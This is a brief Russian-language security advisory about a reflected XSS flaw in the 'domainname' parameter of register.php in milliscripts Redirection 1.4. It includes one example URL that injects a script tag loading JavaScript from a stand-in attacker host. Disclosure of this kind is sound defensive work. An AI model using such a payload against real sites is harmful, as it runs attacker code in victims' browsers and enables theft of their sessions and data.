Программа: milliscripts Redirection 1.4

Уязвимость позволяет удаленному пользователю произвести XSS нападение.
Уязвимость существует при обработке входных данных в параметре "domainname"
сценария "register.php". Удаленный пользователь может с помощью специально
сформированного URL выполнить произвольный HTML код в браузере жертвы в
контексте безопасности уязвимого сайта.

Пример:

http://www.server.net/red_14/register.php?do=register2& domainname=%22%3E%3Cscript%20src=
http://serveratacker.com/script.js%3E%3C/script%3E&ext=somevaliddomain.net
 

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии